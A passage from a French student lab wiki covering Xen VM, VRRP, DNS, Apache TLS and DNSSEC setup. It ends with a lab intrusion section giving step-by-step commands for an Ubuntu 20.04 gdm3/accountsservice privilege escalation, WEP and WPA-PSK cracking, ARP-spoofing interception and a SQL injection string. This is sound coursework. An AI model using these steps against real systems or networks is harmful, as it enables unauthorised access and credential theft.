  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Configuration VLAN IPv4, IPv6=&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 9200&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partit de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite:&lt;br /&gt;
 int piedbleu.site&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan piedbleu.site&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
&lt;br /&gt;
on quitte et on sauvegarde de la même manière. la commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
